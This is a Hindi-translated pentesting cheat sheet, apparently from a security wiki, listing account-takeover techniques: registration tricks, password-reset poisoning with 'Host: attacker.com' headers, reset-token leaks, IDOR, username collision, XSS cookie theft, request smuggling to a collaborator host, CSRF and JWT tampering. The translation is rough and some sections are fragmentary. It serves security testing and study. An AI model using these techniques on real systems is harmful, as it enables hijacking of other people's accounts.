Registration & Takeover Vulnerabilities
पंजीकरण ताकता
डुप्लिकेट पंजीकरण
मौजूदा उपयोगकर्ता नाम का उपयोग करके जेनरेट करने की कोशिश करें
ईमेल को विभिन्न करने की जांच करें:
अपरकेस
+1@
ईमेल में कुछ डॉट जोड़ें
ईमेल नाम में विशेष वर्ण (%00, %09, %20)
ईमेल के बाद काले वर्ण डालें:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
उपयोगकर्ता निर्देशांकण
जांचें कि आप अनुप्रयोग में पहले से ही पंजीकृत उपयोगकर्ता नाम को कैसे पहचान सकते हैं।
पासवर्ड नीति
उपयोगकर्ता बनाते समय पासवर्ड नीति की जांच करें (क्या आप कमजोर पासवर्ड का उपयोग कर सकते हैं)। उस मामले में आप क्रेडेंशियल्स को ब्रूटफोर्स करने की कोशिश कर सकते हैं।
SQL इंजेक्शन
इस पेज की जांच करें कि पंजीकरण फॉर्म में SQL इंजेक्शन के माध्यम से खाता ताकता या जानकारी निकालने की कोशिश कैसे करें।
Oauth ताकता
pageOAuth to Account takeoverSAML वंरबिलिटीज
pageSAML Attacksईमेल बदलें
पंजीकृत होने पर ईमेल बदलने की कोशिश करें और देखें कि यह बदलाव सही ढंग से सत्यापित हो रहा है या किसी भी ईमेल पर इसे बदल सकते हैं।
अधिक जांचें
जांचें कि क्या आप डिस्पोजेबल ईमेल का उपयोग कर सकते हैं
लंबा पासवर्ड (>200) DoS में ले जाता है
खाता निर्माण पर दर सीमाएं जांचें
उपयोग करें username@burp_collab.net और कॉलबैक का विश्लेषण करें
पासवर्ड रीसेट ताकता
पासवर्ड रीसेट टोकन लीक वाया रेफरर
अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
पासवर्ड रीसेट लिंक पर क्लिक करें
पासवर्ड नहीं बदलें
किसी भी तीसरी पक्ष वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
बर्प सुइट प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
देखें कि रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है या नहीं।
पासवर्ड रीसेट पॉइजनिंग
बर्प सुइट में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
बर्प सुइट में निम्नलिखित हेडर्स जोड़ें या संपादित करें:
Host: attacker.com
,X-Forwarded-Host: attacker.com
संशोधित हेडर के साथ अनुरोध फॉरवर्ड करें
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
होस्ट हेडर पर आधारित पासवर्ड रीसेट URL के लिए देखें जैसे:
https://attacker.com/reset-password.php?token=TOKEN
ईमेल पैरामीटर के माध्यम से पासवर्ड रीसेट
IDOR on API Parameters
हमलावर को अपने खाते से लॉगिन करना होगा और पासवर्ड बदलें सुविधा पर जाना होगा।
बर्प सुइट शुरू करें और अनुरोध को रोकें
इसे दोहराने वाले टैब पर भेजें और पैरामीटर संपादित करें: उपयोगकर्ता आईडी/ईमेल
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
पासवर्ड रीसेट टोकन को यादृच्छिक रूप से उत्पन्न किया जाना चाहिए और हर बार अद्वितीय होना चाहिए। यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या क्या हमेशा एक ही होता है, कुछ मामलों में उत्पादन एल्गोरिदम कमजोर होता है और अनुमान लगाया जा सकता है। निम्नलिखित चर प्रयोग किए जा सकते हैं।
टाइमस्टैम्प
उपयोगकर्ता आईडी
उपयोगकर्ता का ईमेल
पहला और अंतिम नाम
जन्म की तारीख
गुप्तशास्त्र
केवल संख्या
छोटा टोकन अनुक्रम (अक्षरों के बीच वर्ण [A-Z,a-z,0-9])
टोकन पुनः प्रयोग
टोकन समाप्ति तिथि
Leaking Password Reset Token
एक विशिष्ट ईमेल के लिए API/UI का उपयोग करके पासवर्ड रीसेट अनुरोध को ट्रिगर करें उदा: test@mail.com
सर्वर प्रतिक्रिया की जाँच करें और
resetToken
के लिए जाँच करेंफिर उस टोकन का उपयोग करें एक URL में जैसे
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
व्यवस्था पर एक उपयोक्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोक्ता नाम के समान हो, लेकिन उपयोक्ता नाम के आगे और/या बाद में सफेद जगह डाली गई हो। उदा:
"admin "
अपने दुराचारी उपयोक्ता नाम के साथ एक पासवर्ड रीसेट अनुरोध करें।
अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
नए पासवर्ड के साथ पीड़ित खाते में कनेक्ट करें।
इस हमले के लिए प्लेटफ़ॉर्म CTFd कमजोर था। देखें: CVE-2020-7245
Account Takeover Via Cross Site Scripting
अनुप्रयोग या एक सबडोमेन के अंदर XSS खोजें यदि कुकी माता डोमेन के लिए स्कोप किए गए हैं:
*.domain.com
वर्तमान सत्र कुकी लीक करें
कुकी का उपयोग करके उपयोक्ता के रूप में प्रमाणित करें
Account Takeover Via HTTP Request Smuggling
1. स्मग्लर का उपयोग करें HTTP अनुरोध स्मग्लिंग के प्रकार का पता लगाने के लिए (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. एक अनुरोध बनाएं जिसमें POST / HTTP/1.1
को निम्नलिखित डेटा के साथ ओवरराइट किया जाएगा:
GET http://something.burpcollaborator.net HTTP/1.1 X:
जिसका लक्ष्य burpcollab पर पीड़ितों को ओपन रीडायरेक्ट करना है और उनकी कुकीज़ चुराना
3. अंतिम अनुरोध निम्नलिखित की तरह दिख सकता है
हैकरवन रिपोर्ट्स इस बग का शोध करना\
CSRF के माध्यम से खाता हासिल करना
CSRF के लिए एक पेलोड बनाएं, उदा: "पासवर्ड बदलने के लिए ऑटो सबमिट के साथ HTML फॉर्म"
पेलोड भेजें
JWT के माध्यम से खाता हासिल करना
JSON Web Token का उपयोग एक उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।
दूसरे उपयोगकर्ता आईडी / ईमेल के साथ JWT को संपादित करें
कमजोर JWT हस्ताक्षर के लिए जांच करें
संदर्भ
Last updated